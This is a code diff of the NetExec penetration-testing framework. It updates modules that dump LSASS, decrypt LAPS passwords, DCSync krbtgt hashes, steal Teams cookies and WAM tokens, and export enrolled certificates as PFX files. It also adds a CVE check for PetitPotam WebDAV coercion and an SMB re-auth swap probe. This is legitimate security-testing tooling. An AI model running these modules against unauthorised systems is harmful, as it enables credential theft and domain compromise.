@@ -184,14 +180,13 @@ class NXCModule:
""" MSEVEN START """
try:
msevenclass = MSEvenTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenconnect = msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
target=connection.remoteName,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
+8
View File
@@ -127,6 +127,14 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Arctic Wolf",
"services": [
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
+21
View File
@@ -36,6 +36,7 @@ class NXCModule:
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
- CVE-2026-102217 (PetitPotam WebDAV coercion)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
@@ -221,4 +222,24 @@ class NXCModule:
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
"CVE-2026-102217": {
"alias": "PetitPotam WebDAV coercion",
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 19044): 7807, # Windows 10 21H2
(10, 0, 19045): 7807, # Windows 10 22H2
(10, 0, 20348): 5761, # Windows Server 2022
(10, 0, 22631): 7652, # Windows 11 23H2
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
(10, 0, 26200): 9711, # Windows 11 25H2
(10, 0, 26300): 9711, # Windows 11 26H2
(10, 0, 28000): 3231, # Windows 11 26H1
},
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
},
}
+17 -4
View File
@@ -198,9 +198,20 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if not ImpacketFile.delete(session, file.get_file_path()):
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
if credentials is None:
credentials = []
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -246,7 +257,9 @@ class NXCModule:
connection.nthash = user[1]
connection.nthash = user[1]
try:
self.run_lsassy(context, connection, cursor)
if self.run_lsassy(context, connection, cursor) is False:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
continue
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
process_creds(
+4 -1
View File
@@ -45,12 +45,15 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
if not data:
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+14 -13
View File
@@ -89,23 +89,24 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
parsed = Parser(host, file).parse()
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
context.log.debug("Closed dumper file")
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if ImpacketFile.delete(session, file.get_file_path()):
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}")
try:
deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file:
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
if credentials is None:
credentials = []
+134 -7
View File
@@ -1,10 +1,21 @@
import re
import ntpath
from io import BytesIO
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.krb5.kerberosv5 import KerberosError
from impacket import nt_errors
class NXCModule:
"""
Module by Shutdown and Podalirius
Module by Shutdown, Podalirius and serwiz
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
@@ -14,18 +25,16 @@ class NXCModule:
Shutdown: @_nwodtuhs
Podalirius: @podalirius_
"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
@@ -34,3 +43,121 @@ class NXCModule:
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
self.get_SeMachineAccountPrivilege(context, connection)
def get_SeMachineAccountPrivilege(self, context, connection):
gpo_links = self.get_gpo_links(context, connection)
if not gpo_links:
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
return
context.log.debug(f"gPLink parsed: {gpo_links}")
try:
smb = get_smb_connection(context, connection)
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
return
if not smb:
return
context.log.display("Getting SeMachineAccountPrivilege")
try:
for link in gpo_links:
guid = link["guid"]
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
try:
buf = BytesIO()
smb.getFile("SYSVOL", path, buf.write)
GptTmpl = buf.getvalue().decode("utf-16le")
except SessionError as e:
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
else:
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
continue
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
context.log.fail(f"Unable to read {path}: {e}")
continue
# An absent setting inherits; an explicitly empty assignment overrides.
for line in GptTmpl.splitlines():
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
if match:
value = match.group(1).strip()
break
else:
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
continue
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
context.log.info(f"\t{line.strip()}")
if not value:
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
continue
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
for principal in principals:
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
if not match:
context.log.highlight(f'\t\t - "{principal}"')
continue
sid = match.group(1)
if sid in WELL_KNOWN_SIDS:
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
continue
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
entries = parse_result_attributes(resp)
if entries and entries[0].get("sAMAccountName"):
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
else:
context.log.highlight(f"\t\t - {sid} (unresolved)")
finally:
smb.logoff()
def get_gpo_links(self, context, connection):
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
gpo_links = []
block_inheritance = False
for scope_dn in (ou_dn, connection.baseDN):
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail(f"Unable to read GPO links for {scope_dn}")
return []
if scope_dn == ou_dn:
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
if link["disabled"]:
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
continue
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
continue
link["scope_dn"] = scope_dn
# Enforced domain, enforced OU, normal OU, then normal domain links.
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
gpo_links.append(link)
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
def resolve_gpo(self, connection, guid):
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
results = parse_result_attributes(resp)
if not results:
return ""
return results[0].get("displayName") or results[0].get("name") or ""
def parse_gplink(self, gplink):
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
parsed = []
# Number every link, including disabled links (last listed = order 1).
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
flags = int(flags_str)
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
return parsed
+1 -1
View File
@@ -39,7 +39,7 @@ class NXCModule:
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
def options(self, context, module_options):
"""KILL // Kill for notepad.exe process. Default False."""
"""KILL Kill for notepad.exe process. Default: False"""
if "KILL" not in module_options:
self.kill = False
else:
+47 -5
View File
@@ -1,4 +1,5 @@
import re
from types import SimpleNamespace
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -20,11 +21,46 @@ class NXCModule:
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""There are no module options."""
"""
ALTUSER Alternative domain user to enumerate admin groups with
ALTPASS Password for ALTUSER
ALTDOMAIN Domain FQDN of the alternative credentials
ALTDC DC IP
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
"""
self.altuser = module_options.get("ALTUSER")
self.altpass = module_options.get("ALTPASS")
self.altdomain = module_options.get("ALTDOMAIN")
self.altdc = module_options.get("ALTDC")
alt_creds = [self.altuser, self.altpass, self.altdomain]
if any(alt_creds) and not all(alt_creds):
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
return False
def on_admin_login(self, context, connection):
try:
admin_users = self.enumerate_admin_users(context, connection)
if self.altuser and self.altpass and self.altdomain:
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
alt_connection = SimpleNamespace(
username=self.altuser,
password=self.altpass,
domain=self.altdomain,
lmhash="",
nthash="",
aesKey=None,
kerberos=False,
kdcHost=self.altdc,
conn=None,
host=self.altdc,
remoteName=self.altdc,
port=445,
)
admin_users = self.enumerate_admin_users(context, alt_connection)
else:
admin_users = self.enumerate_admin_users(context, connection)
if not admin_users:
context.log.fail("No admin users found.")
return
@@ -148,12 +184,18 @@ class NXCModule:
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
for process in processes:
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
info = process.getProcessInfo()
image_name = info["ImageName"].getValue()
pid = info["UniqueProcessId"]
session_id = info["SessionId"]
psid = process.getSid()
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
# Check if process SID matches any admin user SID
for user in admin_users:
if process["pSid"] == user["sid"]:
if psid == user["sid"]:
user["in_tasks"] = True
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
context.log.info(f"Matched process {image_name} with user {user['username']}")
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
+5 -29
View File
@@ -2,7 +2,6 @@ import os
import datetime
import re
from contextlib import suppress
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
from calendar import timegm
@@ -20,6 +19,7 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
# Encryption type configurations: enctype, checksum, signature size, session key size
ETYPE_CONFIG = {
@@ -133,32 +133,6 @@ class NXCModule:
else:
self.context.log.fail("Could not retrieve child domain SID from connection.")
def _get_smb_session(self, ldap_conn):
smb = SMBConnection(
remoteName=ldap_conn.hostname,
remoteHost=ldap_conn.host,
sess_port=445,
)
if ldap_conn.kerberos:
smb.kerberosLogin(
user=ldap_conn.username,
password=ldap_conn.password,
domain=ldap_conn.domain,
lmhash=ldap_conn.lmhash,
nthash=ldap_conn.nthash,
aesKey=ldap_conn.aesKey,
kdcHost=ldap_conn.kdcHost,
useCache=ldap_conn.use_kcache,
)
elif ldap_conn.nthash or ldap_conn.lmhash:
# NTLM pass-the-hash
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
else:
# NTLM with cleartext password
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
return smb
def _get_domain_netbios(self, ldap_conn):
resp = ldap_conn.search(
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
@@ -225,11 +199,13 @@ class NXCModule:
def get_krbtgt_hash(self, connection):
try:
smb_conn = self._get_smb_session(connection)
self._dcsync_krbtgt(smb_conn, connection)
smb_conn = get_smb_connection(self.context, connection)
except Exception as e:
self.context.log.fail(f"Error during DCSync: {e}")
return
if not smb_conn:
return
self._dcsync_krbtgt(smb_conn, connection)
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
try:
+2
View File
@@ -232,6 +232,7 @@ class RdpWmi:
return
try:
*_, tgt, _ = connection.conn.getCredentials()
self.__dcom = DCOMConnection(
self.__target,
self.__username,
@@ -244,6 +245,7 @@ class RdpWmi:
doKerberos=self.__doKerberos,
kdcHost=self.__kdcHost,
remoteHost=self.__remoteHost,
TGT=tgt,
)
i_interface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
+144
View File
@@ -0,0 +1,144 @@
import binascii
import contextlib
from impacket import ntlm
from impacket.smb3 import SMB2SessionSetup, SMB2SessionSetup_Response
from impacket.smb3structs import SMB2_SESSION_SETUP
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
class NXCModule:
"""
Module made by: Lyderic Lefebvre (@aas_s3curity) - https://blackfield.ch
Check if an SMB server still allows a cross-user re-authentication swap on an existing session:
log in as one account, then re-authenticate as a different one on the same connection. That swap
is the primitive an auth relay uses to keep a privileged session under a signing key it controls,
defeating enforced SMB signing. Recent Windows builds allow same-user re-auth only and refuse the
swap with ACCESS_DENIED. Microsoft fixed this server-side as CVE-2026-69676 (September 2026
cumulative updates). Not derivable from the build number (feature-flagged: the same build can
allow or refuse it), so it is probed live.
https://blackfield.ch/blog/defeating-enforced-smb-signing/
"""
name = "reauth_swap"
description = "Check if the server allows a cross-user re-auth swap on an SMB session (used to defeat enforced signing); needs a 2nd account"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
STATUS_SUCCESS = 0x00000000
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_LOGON_FAILURE = 0xC000006D
STATUS_ACCOUNT_LOCKED_OUT = 0xC0000234
def options(self, context, module_options):
"""
PROBE_USER second account, must differ from the login account (required)
PROBE_PASS second account password
PROBE_NTHASH second account NT hash (instead of PROBE_PASS)
The second account is probed over NTLM; its privileges do not matter.
Lockout warning: every target triggers one real NTLM logon as PROBE_USER
(in the login account's domain). A correct password never increments
badPwdCount, whether the host is patched (ACCESS_DENIED) or not (SUCCESS).
A wrong PROBE_PASS/PROBE_NTHASH, or a PROBE_USER that does not exist in that
domain, returns LOGON_FAILURE and raises badPwdCount once per host.
Validate PROBE_USER on a single host before running wide.
"""
self.probe_user = module_options.get("PROBE_USER")
self.probe_pass = module_options.get("PROBE_PASS", "")
self.probe_nthash = module_options.get("PROBE_NTHASH", "")
if not self.probe_user:
context.log.fail("reauth_swap requires a second account: -o PROBE_USER=<user> PROBE_PASS=<pass> (must differ from the account nxc logged in with)")
return False
if not self.probe_pass and not self.probe_nthash:
context.log.fail("reauth_swap requires PROBE_PASS or PROBE_NTHASH for the second account")
return False
def on_login(self, context, connection):
if self.probe_user.lower() == (connection.username or "").lower():
context.log.fail("PROBE_USER must differ from the account nxc logged in with: only a cross-user swap is refused, so the same account always succeeds and tests nothing")
return
# without enforced signing there is nothing to bypass: a relayed auth is accepted directly
if not connection.signing:
context.log.info("SMB signing not enforced, nothing to bypass - skipping")
return
try:
# fresh session so nxc's own connection is left untouched
new_conn = get_smb_connection(context, connection, timeout=connection.args.smb_timeout)
try:
status = self.reauth_as(new_conn.getSMBServer(), self.probe_user, self.probe_pass, connection.domain, self.probe_nthash)
finally:
with contextlib.suppress(Exception):
new_conn.close()
except Exception as e:
context.log.fail(f"could not probe this host: {e.__class__.__name__}: {e}")
return
if status == self.STATUS_SUCCESS:
context.log.highlight("VULNERABLE - enforced SMB signing bypassable")
context.log.highlight("Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/")
elif status == self.STATUS_ACCESS_DENIED:
context.log.display("not vulnerable - cross-user re-auth swap refused (ACCESS_DENIED), same-user re-auth only")
elif status == self.STATUS_LOGON_FAILURE:
context.log.fail("PROBE_USER login failed (LOGON_FAILURE) - stop before repeated attempts lock the account out")
elif status == self.STATUS_ACCOUNT_LOCKED_OUT:
context.log.fail("PROBE_USER is locked out (ACCOUNT_LOCKED_OUT) - stop and let it reset")
else:
context.log.display(f"inconclusive - second session setup returned 0x{status:08X}")
def reauth_as(self, smb, user, password, domain, nthash):
"""Replay an NTLM (Type1/Type3) session setup as `user` on an EXISTING session; return the NTSTATUS."""
# Create NTLM Type1 message (challenge)
type1 = ntlm.getNTLMSSPType1("", domain)
blob = SPNEGO_NegTokenInit()
blob["MechTypes"] = [TypesMech["NTLMSSP - Microsoft NTLM Security Support Provider"]]
blob["MechToken"] = type1.getData()
setup = SMB2SessionSetup()
setup["Flags"] = 0
setup["SecurityMode"] = 1
setup["SecurityBufferLength"] = len(blob.getData())
setup["Buffer"] = blob.getData()
pkt = smb.SMB_PACKET()
pkt["Command"] = SMB2_SESSION_SETUP
pkt["Data"] = setup
ans = smb.recvSMB(smb.sendSMB(pkt))
if ans["Status"] != self.STATUS_MORE_PROCESSING_REQUIRED:
return ans["Status"]
resp = SMB2SessionSetup_Response(ans["Data"])
try:
type2 = SPNEGO_NegTokenResp(resp["Buffer"])["ResponseToken"]
except Exception:
raw = resp["Buffer"]
type2 = raw[raw.index(b"NTLMSSP"):]
lm = nt = ""
if nthash:
lm = binascii.unhexlify("aad3b435b51404eeaad3b435b51404ee")
nt = binascii.unhexlify(nthash)
# Create NTLM Type3 message (authentication)
type3, _ = ntlm.getNTLMSSPType3(type1, type2, user, password, domain, lmhash=lm, nthash=nt)
blob2 = SPNEGO_NegTokenResp()
blob2["ResponseToken"] = type3.getData()
setup2 = SMB2SessionSetup()
setup2["Flags"] = 0
setup2["SecurityMode"] = 1
setup2["SecurityBufferLength"] = len(blob2.getData())
setup2["Buffer"] = blob2.getData()
pkt2 = smb.SMB_PACKET()
pkt2["Command"] = SMB2_SESSION_SETUP
pkt2["Data"] = setup2
ans2 = smb.recvSMB(smb.sendSMB(pkt2))
return ans2["Status"]
+16 -16
View File
@@ -80,7 +80,10 @@ class NXCModule:
self.logger.fail("You need to specify a USER to run the task as")
return
if self.command_to_run.lower() == "certreq":
# certreq mode is decided from the original CMD here, because self.command_to_run is later
# reassigned to the batch path; the PFX download below is gated on this same flag
self.is_certreq = self.command_to_run.lower() == "certreq"
if self.is_certreq:
if self.ca_name is None:
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
return
@@ -96,21 +99,18 @@ class NXCModule:
setlocal enabledelayedexpansion
set "BASE={full_path_prefixed_file}"
certreq -new "%BASE%.inf" "%BASE%.req" > nul
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
certutil -user -addstore my "%BASE%.cer" > nul
set "HASH="
for /f "tokens=2 delims=:" %%A in ('
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
') do (
set "tmp=%%A"
set "tmp=!tmp: =!"
set "HASH=!tmp!"
)
certreq -new "%BASE%.inf" "%BASE%.req" > nul || exit /b 10
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul || exit /b 11
if not exist "%BASE%.cer" exit /b 12
if "!HASH!"=="" (
exit /b 1
)
rem Read the SHA1 thumbprint of the certificate we just enrolled, directly from its own file
rem (locale- and encoding-independent), so repairstore/exportPFX/delstore can only ever touch
rem that one certificate, never a pre-existing certificate in the user's store
set "HASH="
for /f "usebackq delims=" %%A in (`powershell -NoProfile -Command "(New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 '%BASE%.cer').Thumbprint"`) do set "HASH=%%A"
if "!HASH!"=="" exit /b 13
certutil -user -addstore my "%BASE%.cer" > nul || exit /b 14
certutil -user -repairstore my !HASH! > nul 2>&1
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
certutil -user -delstore my !HASH! > nul 2>&1
@@ -212,7 +212,7 @@ class NXCModule:
except Exception as e:
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
if self.ca_name and self.template_name:
if self.is_certreq:
dump_path = path.join(NXC_PATH, "modules/schtask_as")
if not path.isdir(dump_path):
makedirs(dump_path)
+8 -4
View File
@@ -6,16 +6,18 @@ from os.path import abspath, join
class NXCModule:
name = "teams_localdb"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process"
description = "Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""No options available"""
"""KILL Kill all Teams processes before retrieving the Cookies database. Default: False"""
self.kill = module_options.get("KILL", "false").lower() == "true"
def on_admin_login(self, context, connection):
context.log.display("Killing all Teams process to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
if self.kill:
context.log.display("Killing all Teams processes to open the cookie file")
connection.execute("taskkill /F /T /IM teams.exe")
found = 0
paths = connection.spider("C$", folder="Users", regex=["[a-zA-Z0-9]*"], depth=0)
with open(abspath(join(TMP_PATH, "teams_cookies2.txt")), "wb") as f:
@@ -33,6 +35,8 @@ class NXCModule:
context.log.debug(str(e))
context.log.highlight("Found Cookie file in path " + path)
context.log.fail("Cannot retrieve file, most likely Teams is running which prevents us from retrieving the Cookies database")
if not self.kill:
context.log.display("Use -o KILL=True to terminate Teams before retrieving the Cookies database")
if found == 0:
context.log.display("No cookie file found in Users folder")
+8 -3
View File
@@ -1,5 +1,6 @@
import re
import jwt
import json
from base64 import urlsafe_b64decode
from dploot.triage.wam import WamTriage
from nxc.helpers.misc import CATEGORY
@@ -28,10 +29,14 @@ class NXCModule:
if attrib["Key"].decode() == "WTRes_Token":
# Extract every access token
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
try:
decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
except ValueError:
context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
continue
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log)
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
try:
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
+6 -1
View File
@@ -108,6 +108,10 @@ def main():
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.protocol == "smb" and args.unpac and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
nxc_logger.fail("--unpac requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
exit(1)
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
nxc_logger.error("KRB5CCNAME environment variable is not set")
exit(1)
@@ -160,7 +164,8 @@ def main():
if args.module or args.list_modules is not None:
loader = ModuleLoader(args, db, nxc_logger)
modules = loader.list_modules()
# -L lists every module, -M only needs the requested ones
modules = loader.list_modules(None if args.list_modules is not None else args.module)
if args.list_modules is not None:
low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]}
+9 -4
View File
@@ -7,6 +7,12 @@ protocol_dict = {
"ssh": {"ports": [22], "services": ["ssh"]},
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
"rdp": {"ports": [3389], "services": ["msrdp", "rdp", "ms-wbt-server"]},
"vnc": {"ports": [5900, 5901, 5902, 5903], "services": ["vnc", "rfb"]},
"ftp": {"ports": [21], "services": ["ftp"]},
"ldap": {"ports": [389, 636], "services": ["ldap"]},
"wmi": {"ports": [135], "services": ["epmap"]},
"nfs": {"ports": [2049], "services": ["rpc-nfs", "nfs"]},
}
@@ -23,12 +29,11 @@ def parse_nessus_file(nessus_file, protocol):
if ip in targets:
return True
port = item["ReportItem"]["port"]
# Nessus stores the port as a string, the lookup table uses ints
port = int(item["ReportItem"]["port"])
svc_name = item["ReportItem"]["svc_name"]
if port in protocol_dict[protocol]["ports"]:
targets.append(ip)
if svc_name in protocol_dict[protocol]["services"]:
if port in protocol_dict[protocol]["ports"] or svc_name in protocol_dict[protocol]["services"]:
targets.append(ip)
return True
+7 -7
View File
@@ -12,7 +12,6 @@ from re import sub, IGNORECASE
from zipfile import ZipFile
from termcolor import colored
from dns import resolver
from dateutil.relativedelta import relativedelta as rd
from OpenSSL.SSL import SysCallError
from bloodhound.ad.authentication import ADAuthentication
@@ -231,7 +230,7 @@ class ldap(connection):
# Parse hostname and remoteName
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
self.remoteName = self.target
self.remoteName = self.target if self.kerberos else self.host
# Parse NTLM challenge
ntlm_challenge = None
@@ -712,7 +711,8 @@ class ldap(connection):
